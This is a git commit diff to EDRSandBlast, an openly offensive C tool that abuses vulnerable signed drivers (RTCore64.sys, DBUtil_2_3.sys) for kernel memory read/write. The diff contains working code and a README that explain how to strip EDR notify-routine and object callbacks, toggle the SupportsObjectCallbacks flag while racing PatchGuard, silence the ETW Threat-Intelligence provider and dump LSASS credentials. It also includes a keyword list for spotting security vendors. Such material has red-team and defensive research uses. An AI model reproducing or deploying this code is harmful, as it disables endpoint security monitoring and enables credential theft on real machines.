Updated README with ObRegisterCallbacks and offsets retrieval info

This commit is contained in:
Maxime Meignan
2022-08-19 22:17:23 +02:00
parent 48a75a7029
commit 49fbc5d924
8 changed files with 316 additions and 91 deletions
@@ -11,17 +11,16 @@
#define RTCore 0 #define RTCore 0
#define DBUtil 1 #define DBUtil 1
// Select the driver to use with the following #define
#define VULN_DRIVER RTCore #define VULN_DRIVER RTCore
#if VULN_DRIVER == RTCore #if VULN_DRIVER == RTCore
#define DEFAULT_DRIVER_FILE TEXT("RTCore64.sys") #define DEFAULT_DRIVER_FILE TEXT("RTCore64.sys")
#define GetDriverHandle GetDriverHandle_RTCore
#define CloseDriverHandle CloseDriverHandle_RTCore #define CloseDriverHandle CloseDriverHandle_RTCore
#define ReadMemoryPrimitive ReadMemoryPrimitive_RTCore #define ReadMemoryPrimitive ReadMemoryPrimitive_RTCore
#define WriteMemoryPrimitive WriteMemoryPrimitive_RTCore #define WriteMemoryPrimitive WriteMemoryPrimitive_RTCore
#elif VULN_DRIVER == DBUtil #elif VULN_DRIVER == DBUtil
#define DEFAULT_DRIVER_FILE TEXT("DBUtil_2_3.sys") #define DEFAULT_DRIVER_FILE TEXT("DBUtil_2_3.sys")
#define GetDriverHandle GetDriverHandle_DBUtil
#define CloseDriverHandle CloseDriverHandle_DBUtil #define CloseDriverHandle CloseDriverHandle_DBUtil
#define ReadMemoryPrimitive ReadMemoryPrimitive_DBUtil #define ReadMemoryPrimitive ReadMemoryPrimitive_DBUtil
#define WriteMemoryPrimitive WriteMemoryPrimitive_DBUtil #define WriteMemoryPrimitive WriteMemoryPrimitive_DBUtil
+1 -1
View File
@@ -7,6 +7,6 @@ typedef struct symbol_ctx_t {
} symbol_ctx; } symbol_ctx;
symbol_ctx* LoadSymbolsFromImageFile(LPCWSTR image_file_path); symbol_ctx* LoadSymbolsFromImageFile(LPCWSTR image_file_path);
DWORD64 GetSymbolAddress(symbol_ctx* ctx, LPCSTR symbol_name); DWORD64 GetSymbolOffset(symbol_ctx* ctx, LPCSTR symbol_name);
DWORD GetFieldOffset(symbol_ctx* ctx, LPCSTR struct_name, LPCWSTR field_name); DWORD GetFieldOffset(symbol_ctx* ctx, LPCSTR struct_name, LPCWSTR field_name);
void UnloadSymbols(symbol_ctx* ctx, BOOL delete_pdb); void UnloadSymbols(symbol_ctx* ctx, BOOL delete_pdb);
+34 -25
View File
@@ -26,36 +26,37 @@ typedef struct UNICODE_STRING_t {
} UNICODE_STRING; } UNICODE_STRING;
#define GET_OFFSET(STRUCTNAME, OFFSETNAME) Offset_ ## STRUCTNAME ## _ ## OFFSETNAME = GetFieldOffset(sym_ctx, #STRUCTNAME, L###OFFSETNAME) #define GET_OFFSET(STRUCTNAME, OFFSETNAME) Offset_ ## STRUCTNAME ## _ ## OFFSETNAME = GetFieldOffset(sym_ctx, #STRUCTNAME, L###OFFSETNAME)
#define GET_SYMBOL(SYMBOL) Sym_ ## SYMBOL = GetSymbolAddress(sym_ctx, #SYMBOL) #define GET_SYMBOL(SYMBOL) Sym_ ## SYMBOL = GetSymbolOffset(sym_ctx, #SYMBOL)
typedef struct OB_CALLBACK_t OB_CALLBACK; typedef struct OB_CALLBACK_t OB_CALLBACK;
typedef PVOID POBJECT_TYPE, POB_PRE_OPERATION_CALLBACK, POB_POST_OPERATION_CALLBACK;
/* /*
* Internal / undocumented version of OB_OPERATION_REGISTRATION * Internal / undocumented version of OB_OPERATION_REGISTRATION
*/ */
typedef struct OB_CALLBACK_ENTRY_t { typedef struct OB_CALLBACK_ENTRY_t {
LIST_ENTRY CallbackList; LIST_ENTRY CallbackList; // linked element tied to _OBJECT_TYPE.CallbackList
OB_OPERATION Operations; OB_OPERATION Operations; // bitfield : 1 for Creations, 2 for Duplications
BOOL Enabled; BOOL Enabled; // self-explanatory
OB_CALLBACK* Entry; OB_CALLBACK* Entry; // points to the structure in which it is included
PVOID ObjectType; // POBJECT_TYPE POBJECT_TYPE ObjectType; // points to the object type affected by the callback
PVOID PreOperation; // POB_PRE_OPERATION_CALLBACK POB_PRE_OPERATION_CALLBACK PreOperation; // callback function called before each handle operation
PVOID PostOperation; // POB_POST_OPERATION_CALLBACK POB_POST_OPERATION_CALLBACK PostOperation; // callback function called after each handle operation
KSPIN_LOCK Lock; KSPIN_LOCK Lock; // lock object used for synchronization
}OB_CALLBACK_ENTRY; } OB_CALLBACK_ENTRY;
/* /*
* A callback entry is made of some fields followed by concatenation of callback entry items, and the buffer of the associated Altitude string * A callback entry is made of some fields followed by concatenation of callback entry items, and the buffer of the associated Altitude string
* Internal / undocumented (and compact) version of OB_CALLBACK_REGISTRATION * Internal / undocumented (and compact) version of OB_CALLBACK_REGISTRATION
*/ */
typedef struct OB_CALLBACK_t { typedef struct OB_CALLBACK_t {
USHORT Version; USHORT Version; // usually 0x100
USHORT OperationRegistrationCount; USHORT OperationRegistrationCount; // number of registered callbacks
PVOID RegistrationContext; PVOID RegistrationContext; // arbitrary data passed at registration time
UNICODE_STRING AltitudeString; UNICODE_STRING AltitudeString; // used to determine callbacks order
struct OB_CALLBACK_ENTRY_t EntryItems[1]; // has OperationRegistrationCount items struct OB_CALLBACK_ENTRY_t EntryItems[1]; // array of OperationRegistrationCount items
WCHAR AltitudeBuffer[1]; // if AltitudeString.MaximumLength bytes long WCHAR AltitudeBuffer[1]; // is AltitudeString.MaximumLength bytes long, and pointed by AltitudeString.Buffer
} OB_CALLBACK; } OB_CALLBACK;
@@ -66,8 +67,8 @@ DWORD64 Offset_CALLBACK_ENTRY_ITEM_ObjectType = offsetof(OB_CALLBACK_ENTRY, Obje
DWORD64 Offset_CALLBACK_ENTRY_ITEM_PreOperation = offsetof(OB_CALLBACK_ENTRY, PreOperation); //POB_PRE_OPERATION_CALLBACK DWORD64 Offset_CALLBACK_ENTRY_ITEM_PreOperation = offsetof(OB_CALLBACK_ENTRY, PreOperation); //POB_PRE_OPERATION_CALLBACK
DWORD64 Offset_CALLBACK_ENTRY_ITEM_PostOperation = offsetof(OB_CALLBACK_ENTRY, PostOperation); //POB_POST_OPERATION_CALLBACK DWORD64 Offset_CALLBACK_ENTRY_ITEM_PostOperation = offsetof(OB_CALLBACK_ENTRY, PostOperation); //POB_POST_OPERATION_CALLBACK
//TODO : parse the bitfield in the PDB symbols to ensure "SupportObjectCallbacks" is bit 6 //TODO : parse the bitfield in the PDB symbols to ensure "SupportsObjectCallbacks" is bit 6
WORD SupportObjectCallbacks_bit = 0x40; WORD SupportsObjectCallbacks_bit = 0x40;
struct ObjTypeSubjectToCallback { struct ObjTypeSubjectToCallback {
TCHAR* name; TCHAR* name;
@@ -140,13 +141,17 @@ void EnumAllObjectsCallbacks() {
cbEntry = ReadMemoryDWORD64(cbEntry)) { cbEntry = ReadMemoryDWORD64(cbEntry)) {
DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType); DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType);
if (ObjectTypeField != ObjectType) { if (ObjectTypeField != ObjectType) {
_putts_or_not(TEXT("Unexpected value in callback entry, exiting...")); _putts_or_not(TEXT("Unexpected value in callback entry (ObjectTypeField), exiting..."));
exit(1); exit(1);
} }
BOOL Enabled = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled); BOOL Enabled = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled);
if (!Enabled) { if (Enabled == FALSE) {
continue; continue;
} }
if (Enabled != TRUE) {
_putts_or_not(TEXT("Unexpected value in callback entry (Enabled), exiting..."));
exit(1);
}
OB_OPERATION Operations = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Operations); OB_OPERATION Operations = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Operations);
_tprintf_or_not(TEXT("Callback for handle %s%s%s\n"), _tprintf_or_not(TEXT("Callback for handle %s%s%s\n"),
Operations & 1 ? TEXT("creations") : TEXT(""), Operations & 1 ? TEXT("creations") : TEXT(""),
@@ -193,7 +198,7 @@ BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundOb
} }
DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType); DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType);
if (ObjectTypeField != ObjectType) { if (ObjectTypeField != ObjectType) {
_putts_or_not(TEXT("Unexpected value in callback entry, exiting...")); _putts_or_not(TEXT("Unexpected value in callback entry (ObjectTypeField), exiting..."));
exit(1); exit(1);
} }
DWORD Operations = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Operations); DWORD Operations = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Operations);
@@ -209,11 +214,15 @@ BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundOb
OperationsString = TEXT("creations & duplications"); OperationsString = TEXT("creations & duplications");
break; break;
default: default:
_putts_or_not(TEXT("Unexpected value in callback entry, exiting...")); _putts_or_not(TEXT("Unexpected value in callback entry (Operations), exiting..."));
exit(1); exit(1);
} }
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\tCallback at %p for handle %s:\n"), (PVOID)cbEntry, OperationsString); _tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\tCallback at %p for handle %s:\n"), (PVOID)cbEntry, OperationsString);
BOOL Enabled = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled); BOOL Enabled = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled);
if (Enabled != FALSE && Enabled != TRUE) {
_putts_or_not(TEXT("Unexpected value in callback entry (Enabled), exiting..."));
exit(1);
}
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tStatus: %s\n"), Enabled ? TEXT("Enabled") : TEXT("Disabled")); _tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tStatus: %s\n"), Enabled ? TEXT("Enabled") : TEXT("Disabled"));
DWORD64 PreOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PreOperation); DWORD64 PreOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PreOperation);
if (PreOperation) { if (PreOperation) {
@@ -429,10 +438,10 @@ void EnableDisableProcessAndThreadObjectsCallbacksSupport(BOOL enable) {
DWORD64 ObjectType_TypeInfo = ObjectType + Offset__OBJECT_TYPE_TypeInfo; DWORD64 ObjectType_TypeInfo = ObjectType + Offset__OBJECT_TYPE_TypeInfo;
WORD TypeInfo_ObjectTypeFlags = ReadMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags); WORD TypeInfo_ObjectTypeFlags = ReadMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags);
if (enable) { if (enable) {
TypeInfo_ObjectTypeFlags |= SupportObjectCallbacks_bit; TypeInfo_ObjectTypeFlags |= SupportsObjectCallbacks_bit;
} }
else { else {
TypeInfo_ObjectTypeFlags &= ~SupportObjectCallbacks_bit; TypeInfo_ObjectTypeFlags &= ~SupportsObjectCallbacks_bit;
} }
WriteMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags, TypeInfo_ObjectTypeFlags); WriteMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags, TypeInfo_ObjectTypeFlags);
_tprintf_or_not(TEXT("[+] Callback support for %s has been %s\n"), ObjectTypesSubjectToCallback[i].name, enable ? TEXT("enabled") : TEXT("disabled")); _tprintf_or_not(TEXT("[+] Callback support for %s has been %s\n"), ObjectTypesSubjectToCallback[i].name, enable ? TEXT("enabled") : TEXT("disabled"));
@@ -447,7 +456,7 @@ BOOL AreObjectsCallbacksSupportEnabled(struct ObjTypeSubjectToCallback objTypSub
DWORD64 ObjectType = ReadKernelMemoryDWORD64(objTypSubjCb.offset); DWORD64 ObjectType = ReadKernelMemoryDWORD64(objTypSubjCb.offset);
DWORD64 ObjectType_TypeInfo = ObjectType + Offset__OBJECT_TYPE_TypeInfo; DWORD64 ObjectType_TypeInfo = ObjectType + Offset__OBJECT_TYPE_TypeInfo;
WORD TypeInfo_ObjectTypeFlags = ReadMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags); WORD TypeInfo_ObjectTypeFlags = ReadMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags);
BOOL enable = (TypeInfo_ObjectTypeFlags & SupportObjectCallbacks_bit) != 0; BOOL enable = (TypeInfo_ObjectTypeFlags & SupportsObjectCallbacks_bit) != 0;
_tprintf_or_not(TEXT("[+] Callback support for %s is %s\n"), objTypSubjCb.name, enable ? TEXT("enabled") : TEXT("disabled")); _tprintf_or_not(TEXT("[+] Callback support for %s is %s\n"), objTypSubjCb.name, enable ? TEXT("enabled") : TEXT("disabled"));
return enable; return enable;
+2
View File
@@ -6,6 +6,7 @@
*/ */
// List of keywords matching EDR companies as employed for binary digitial signatures. // List of keywords matching EDR companies as employed for binary digitial signatures.
// TODO : enrich this list
TCHAR const* EDR_SIGNATURE_KEYWORDS[] = { TCHAR const* EDR_SIGNATURE_KEYWORDS[] = {
_T("CarbonBlack"), _T("CarbonBlack"),
_T("CrowdStrike"), _T("CrowdStrike"),
@@ -15,6 +16,7 @@ TCHAR const* EDR_SIGNATURE_KEYWORDS[] = {
_T("Kaspersky"), _T("Kaspersky"),
_T("McAfee"), _T("McAfee"),
_T("SentinelOne"), _T("SentinelOne"),
_T("Sentinel Labs"),
_T("Symantec") _T("Symantec")
}; };
+6 -6
View File
@@ -78,15 +78,15 @@ void LoadNtoskrnlOffsetsFromInternet(BOOL delete_pdb) {
if (sym_ctx == NULL) { if (sym_ctx == NULL) {
return; return;
} }
g_ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine = GetSymbolAddress(sym_ctx, "PspCreateProcessNotifyRoutine"); g_ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine = GetSymbolOffset(sym_ctx, "PspCreateProcessNotifyRoutine");
g_ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine = GetSymbolAddress(sym_ctx, "PspCreateThreadNotifyRoutine"); g_ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine = GetSymbolOffset(sym_ctx, "PspCreateThreadNotifyRoutine");
g_ntoskrnlOffsets.st.pspLoadImageNotifyRoutine = GetSymbolAddress(sym_ctx, "PspLoadImageNotifyRoutine"); g_ntoskrnlOffsets.st.pspLoadImageNotifyRoutine = GetSymbolOffset(sym_ctx, "PspLoadImageNotifyRoutine");
g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle = GetSymbolAddress(sym_ctx, "EtwThreatIntProvRegHandle"); g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle = GetSymbolOffset(sym_ctx, "EtwThreatIntProvRegHandle");
g_ntoskrnlOffsets.st.eprocess_protection= GetFieldOffset(sym_ctx, "_EPROCESS", L"Protection"); g_ntoskrnlOffsets.st.eprocess_protection= GetFieldOffset(sym_ctx, "_EPROCESS", L"Protection");
g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry= GetFieldOffset(sym_ctx, "_ETW_REG_ENTRY", L"GuidEntry"); g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry= GetFieldOffset(sym_ctx, "_ETW_REG_ENTRY", L"GuidEntry");
g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo = GetFieldOffset(sym_ctx, "_ETW_GUID_ENTRY", L"ProviderEnableInfo"); g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo = GetFieldOffset(sym_ctx, "_ETW_GUID_ENTRY", L"ProviderEnableInfo");
g_ntoskrnlOffsets.st.psProcessType = GetSymbolAddress(sym_ctx, "PsProcessType"); g_ntoskrnlOffsets.st.psProcessType = GetSymbolOffset(sym_ctx, "PsProcessType");
g_ntoskrnlOffsets.st.psThreadType = GetSymbolAddress(sym_ctx, "PsThreadType"); g_ntoskrnlOffsets.st.psThreadType = GetSymbolOffset(sym_ctx, "PsThreadType");
g_ntoskrnlOffsets.st.object_type_callbacklist = GetFieldOffset(sym_ctx, "_OBJECT_TYPE", L"CallbackList"); g_ntoskrnlOffsets.st.object_type_callbacklist = GetFieldOffset(sym_ctx, "_OBJECT_TYPE", L"CallbackList");
UnloadSymbols(sym_ctx, delete_pdb); UnloadSymbols(sym_ctx, delete_pdb);
} }
+11 -3
View File
@@ -73,6 +73,9 @@ symbol_ctx* LoadSymbolsFromPE(PE* pe) {
WriteFullFileW(ctx->pdb_name_w, file, file_size); WriteFullFileW(ctx->pdb_name_w, file, file_size);
free(file); free(file);
} }
else {
//TODO : check if exisiting PDB corresponds to the file version
}
DWORD64 asked_pdb_base_addr = 0x1337000; DWORD64 asked_pdb_base_addr = 0x1337000;
DWORD pdb_image_size = MAXDWORD; DWORD pdb_image_size = MAXDWORD;
HANDLE cp = GetCurrentProcess(); HANDLE cp = GetCurrentProcess();
@@ -111,12 +114,17 @@ symbol_ctx* LoadSymbolsFromImageFile(LPCWSTR image_file_path) {
return ctx; return ctx;
} }
DWORD64 GetSymbolAddress(symbol_ctx* ctx, LPCSTR symbol_name) { DWORD64 GetSymbolOffset(symbol_ctx* ctx, LPCSTR symbol_name) {
SYMBOL_INFO_PACKAGE si = { 0 }; SYMBOL_INFO_PACKAGE si = { 0 };
si.si.SizeOfStruct = sizeof(SYMBOL_INFO); si.si.SizeOfStruct = sizeof(SYMBOL_INFO);
si.si.MaxNameLen = sizeof(si.name); si.si.MaxNameLen = sizeof(si.name);
SymGetTypeFromName(ctx->sym_handle, ctx->pdb_base_addr, symbol_name, &si.si); BOOL res = SymGetTypeFromName(ctx->sym_handle, ctx->pdb_base_addr, symbol_name, &si.si);
return si.si.Address - ctx->pdb_base_addr; if (res) {
return si.si.Address - ctx->pdb_base_addr;
}
else {
return 0;
}
} }
DWORD GetFieldOffset(symbol_ctx* ctx, LPCSTR struct_name, LPCWSTR field_name) { DWORD GetFieldOffset(symbol_ctx* ctx, LPCSTR struct_name, LPCWSTR field_name) {
+2 -2
View File
@@ -75,8 +75,8 @@ void LoadWdigestOffsetsFromInternet(BOOL delete_pdb) {
if (sym_ctx == NULL) { if (sym_ctx == NULL) {
return; return;
} }
g_wdigestOffsets.st.g_fParameter_UseLogonCredential = GetSymbolAddress(sym_ctx, "g_fParameter_UseLogonCredential"); g_wdigestOffsets.st.g_fParameter_UseLogonCredential = GetSymbolOffset(sym_ctx, "g_fParameter_UseLogonCredential");
g_wdigestOffsets.st.g_IsCredGuardEnabled = GetSymbolAddress(sym_ctx, "g_IsCredGuardEnabled"); g_wdigestOffsets.st.g_IsCredGuardEnabled = GetSymbolOffset(sym_ctx, "g_IsCredGuardEnabled");
UnloadSymbols(sym_ctx, delete_pdb); UnloadSymbols(sym_ctx, delete_pdb);
} }
+259 -52
View File
@@ -1,9 +1,9 @@
# EDRSandBlast # EDRSandBlast
`EDRSandBlast` is a tool written in `C` that weaponize a vulnerable signed `EDRSandBlast` is a tool written in `C` that weaponize a vulnerable signed
driver to bypass EDR detections (Kernel callbacks and `ETW TI` provider) and driver to bypass EDR detections (Notify Routine callbacks, Object Callbacks
`LSASS` protections. Multiple userland unhooking techniques are also and `ETW TI` provider) and `LSASS` protections. Multiple userland unhooking
implemented to evade userland monitoring. techniques are also implemented to evade userland monitoring.
As of release, combination of userland (`--usermode`) and Kernel-land As of release, combination of userland (`--usermode`) and Kernel-land
(`--kernelmode`) techniques were used to dump `LSASS` memory under EDR (`--kernelmode`) techniques were used to dump `LSASS` memory under EDR
@@ -13,15 +13,15 @@ EDR products and were successful in each case.
## Description ## Description
### EDR bypass through Kernel callbacks removal ### EDR bypass through Kernel Notify Routines removal
EDR products use Kernel callbacks on Windows to be notified by the kernel of EDR products use Kernel "Notify Routines" callbacks on Windows to be notified by the kernel of
system activity, such as process and thread creation and loading of images system activity, such as process and thread creation and loading of images
(`exe` / `DLL`). (`exe` / `DLL`).
The Kernel callbacks are defined from user-land using a number of documented These Kernel callbacks are defined from kernel-land, usually from the driver implementing the callbacks, using a number of documented
APIs (`nt!PsSetCreateProcessNotifyRoutine`, `nt!PsSetCreateThreadNotifyRoutine`, APIs (`nt!PsSetCreateProcessNotifyRoutine`, `nt!PsSetCreateThreadNotifyRoutine`,
etc.). The user-land APIs add driver-supplied callback routines to undocumented etc.). These APIs add driver-supplied callback routines to undocumented
arrays of routines in Kernel-space: arrays of routines in Kernel-space:
- `PspCreateProcessNotifyRoutine` for process creation - `PspCreateProcessNotifyRoutine` for process creation
- `PspCreateThreadNotifyRoutine` for thread creation - `PspCreateThreadNotifyRoutine` for thread creation
@@ -29,26 +29,140 @@ arrays of routines in Kernel-space:
`EDRSandBlast` enumerates the routines defined in those arrays and remove any `EDRSandBlast` enumerates the routines defined in those arrays and remove any
callback routine linked to a predefined list of EDR drivers (more than 1000 callback routine linked to a predefined list of EDR drivers (more than 1000
thousands drivers of security products from the drivers of security products supported, see the [EDR driver detection section](#edr-drivers-and-processes-detection).
[allocated filter altitudes](https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/allocated-altitudes)).
The enumeration and removal are made possible through the exploitation of an The enumeration and removal are made possible through the exploitation of an
arbitrary Kernel memory read / write vulnerability of the arbitrary Kernel memory read / write primitive provided by the exploitation of a vulnerable driver (see [Vulnerable drivers section](#vulnerable-drivers-detection)).
`Micro-Star MSI Afterburner` driver (`CVE-2019-16098`). The enumeration and
removal code is largely inspired from
[br-sn's CheekyBlinder project](https://github.com/br-sn/CheekyBlinder).
The offsets of the aforementioned arrays are hardcoded in the The offsets of the aforementioned arrays are recovered using multiple techniques, please refer to [Offsets section](#ntoskrnl-and-wdigest-offsets).
`NtoskrnlOffsets.csv` file for more than 350 versions of the Windows Kernel
`ntoskrnl.exe`. The choice of going with hardcoded offsets instead of pattern ### EDR bypass through Object Callbacks removal
searches is justified by the fact that the undocumented APIs responsible for EDR (and even EPP) products often register "Object callbacks" through the use of the
Kernel callbacks addition / removal are subject to change and that any attempt `nt!ObRegisterCallbacks` kernel API. These callbacks allow the security product to
to write Kernel memory at the wrong address may (and often will) result in a be notified at each handle generation on specific object types (Processes, Threads and
`Bug Check` (`Blue Screen of Death`). For more information on how the offsets Desktops related object callbacks are now supported by Windows). A handle generation
were gathered (and how to update them), refer to [Offsets section](Offsets). may occur on object opening (call to `OpenProcess`, `OpenThread`, etc.) as well as
handle duplication (call to `DuplicateHandle`, etc.).
By being notified by the kernel on each of these operations, a security product may
analyze the legitimacy of the handle creation (*e.g. an unknown process is trying to open
LSASS*), and even block it if a threat is detected.
At each callback registration using `ObRegisterCallbacks`, a new item is added to
the `CallbackList` double-linked list present in the `_OBJECT_TYPE` object describing
the type of object affected by the callback (either a Process, a Thread or a Desktop).
Unfortunately, these items are described by a structure that is not documented nor
published in symbol files by Microsoft. However, studying it from various `ntoskrnl.exe`
versions seems to indicate that the structure did not change between (at least) Windows
10 builds 10240 and 22000 (from 2015 to 2022).
The mentionned structure, representing an object callback registration, is the following:
```C
typedef struct OB_CALLBACK_ENTRY_t {
LIST_ENTRY CallbackList; // linked element tied to _OBJECT_TYPE.CallbackList
OB_OPERATION Operations; // bitfield : 1 for Creations, 2 for Duplications
BOOL Enabled; // self-explanatory
OB_CALLBACK* Entry; // points to the structure in which it is included
POBJECT_TYPE ObjectType; // points to the object type affected by the callback
POB_PRE_OPERATION_CALLBACK PreOperation; // callback function called before each handle operation
POB_POST_OPERATION_CALLBACK PostOperation; // callback function called after each handle operation
KSPIN_LOCK Lock; // lock object used for synchronization
} OB_CALLBACK_ENTRY;
```
The `OB_CALLBACK` structure mentionned above is also undocumented, and is defined
by the following:
```C
typedef struct OB_CALLBACK_t {
USHORT Version; // usually 0x100
USHORT OperationRegistrationCount; // number of registered callbacks
PVOID RegistrationContext; // arbitrary data passed at registration time
UNICODE_STRING AltitudeString; // used to determine callbacks order
struct OB_CALLBACK_ENTRY_t EntryItems[1]; // array of OperationRegistrationCount items
WCHAR AltitudeBuffer[1]; // is AltitudeString.MaximumLength bytes long, and pointed by AltitudeString.Buffer
} OB_CALLBACK;
```
In order to disable EDR-registered object callbacks, three techniques are implemented in
`EDRSandblast`; however only one is enabled for the moment.
#### Using the `Enabled` field of `OB_CALLBACK_ENTRY`
This is the default technique enabled in `EDRSandblast`. In order to detect and disable
EDR-related object callbacks, the `CallbackList` list located in the `_OBJECT_TYPE`
objects tied to the *Process* and *Thread* types is browsed. Both `_OBJECT_TYPE`s are
pointed by public global symbols in the kernel, `PsProcessType` and `PsThreadType`.
Each item of the list is assumed to fit the `OB_CALLBACK_ENTRY` structure described above
(assumption that seems to hold at least in all Windows 10 builds at the time of writing).
Functions defined in `PreOperation` and `PostOperation` fields are located to checks
if they belong to an EDR driver, and if so, callbacks are simply disabled toggling the `Enabled`
flag.
While being a pretty safe technique, it has the inconvenient of relying on an undocumented
structure; to reduce the risk of unsafe manipulation of this structure, basic checks are
performed to validate that some fields have the expected values :
* `Enabled` is either `TRUE` or `FALSE` (*don't laugh, a `BOOL` is an `int`, so it could be anything other than `1` or `0`*);
* `Operations` is `OB_OPERATION_HANDLE_CREATE`, `OB_OPERATION_HANDLE_DUPLICATE` or both;
* `ObjectType` points on `PsProcessType` or `PsThreadType`.
#### Unlinking the `CallbackList` of threads and process
Another strategy that do not rely on an undocumented structure (and is thus theoretically
more robust against NT kernel changes) is the unlinking of the whole `CallbackList`
for both processes and threads. The `_OBJECT_TYPE` object is the following:
```C
struct _OBJECT_TYPE {
LIST_ENTRY TypeList;
UNICODE_STRING Name;
[...]
_OBJECT_TYPE_INITIALIZER TypeInfo;
[...]
LIST_ENTRY CallbackList;
}
```
Making the `Flink` and `Blink` pointers of the `CallbackList` `LIST_ENTRY` point to
the `LIST_ENTRY` itself effectively make the list empty. Since the `_OBJECT_TYPE` structure
is published in the kernel' symbols, the technique does not rely on hardcoded offsets/structures.
However, it has some drawbacks.
The first being not able to only disable callbacks from EDR; indeed, the technique affects
all object callbacks that could have been registered by "legitimate" software. It should
nevertheless be noted that object callbacks are not used by any pre-installed component
on Windows 10 (at the time of writing) so disabling them should not affect the machine
stability (even more so if the disabling is only temporary).
The second drawback is that process or thread handle operation are really frequent (nearly
continuous) in the normal functioning of the OS. As such, if the kernel write primitive used
cannot perform a `QWORD` write "atomically", there is a good chance that the
`_OBJECT_TYPE.CallbackList.Flink` pointer will be accessed by the kernel in the middle
of its overwriting. For instance, the MSI vulnerable driver `RTCore64.sys` can only perform
a `DWORD` write at a time, so 2 distinct IOCTLs will be needed to overwrite the pointer, between
which the kernel has a high probability of using it (resulting in a crash). On the other hand,
the vulnerable DELL driver `DBUtil_2_3.sys` can perform writes of arbitrary sizes in one
IOCTL, so using this method with it does not risk causing a crash.
#### Disabling object callbacks altogether
One last technique we found was to disable entirely the object callbacks support for thread
and processes. Inside the `_OBJECT_TYPE` structure corresponding to the process and
thread types resides a `TypeInfo` field, following the documented `_OBJECT_TYPE_INITIALIZER`
structure. The latter contains a `ObjectTypeFlags` bit field, whose `SupportsObjectCallbacks`
flag determines if the described object type (Process, Thread, Desktop, Token, File, etc.)
supports object callback registering or not. As previously stated, only Process, Thread and
Desktop object types supports these callbacks on a Windows installation at the time of writing.
Since the `SupportsObjectCallbacks` bit is checked by `ObpCreateHandle` or
`ObDuplicateObject` before even reading the `CallbackList` (and before executing
callbacks, of course), flipping the bit at kernel runtime effectively disable all object callbacks
execution.
The main drawback of the method is simply that *KPP* ("*PatchGuard*") monitors the integrity
of some (all ?) `_OBJECT_TYPE` structures, and triggers a [`0x109 Bug Check`](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/bug-check-0x109---critical-structure-corruption)
with parameter 4 being equal to `0x8`, meaning an object type structure has been altered.
However, performing the disabling / re-enabling (and "malicious" action in-between) quickly
enough should be enough to "race" *PatchGuard* (unless you are unlucky and a periodic
check is performed just at the wrong moment).
### EDR bypass through deactivation of the ETW Microsoft-Windows-Threat-Intelligence provider ### EDR bypass through deactivation of the ETW Microsoft-Windows-Threat-Intelligence provider
The `ETW Microsoft-Windows-Threat-Intelligence` provider log data about the The `ETW Microsoft-Windows-Threat-Intelligence` provider logs data about the
usages of some Windows API commonly used maliciously. This include the usages of some Windows API commonly used maliciously. This include the
`nt!MiReadWriteVirtualMemory` API, called by `nt!NtReadVirtualMemory` (which is `nt!MiReadWriteVirtualMemory` API, called by `nt!NtReadVirtualMemory` (which is
used to dump `LSASS` memory) and monitored by the `nt!EtwTiLogReadWriteVm` used to dump `LSASS` memory) and monitored by the `nt!EtwTiLogReadWriteVm`
@@ -68,7 +182,7 @@ blog post for more information on the technique.
Similarly to the Kernel callbacks removal, the necessary `ntoskrnl.exe` offsets Similarly to the Kernel callbacks removal, the necessary `ntoskrnl.exe` offsets
(`nt!EtwThreatIntProvRegHandleOffset`, `_ETW_REG_ENTRY`'s `GuidEntry`, and (`nt!EtwThreatIntProvRegHandleOffset`, `_ETW_REG_ENTRY`'s `GuidEntry`, and
`_ETW_GUID_ENTRY`'s `ProviderEnableInfo`) are hardcoded in the `_ETW_GUID_ENTRY`'s `ProviderEnableInfo`) are computed in the
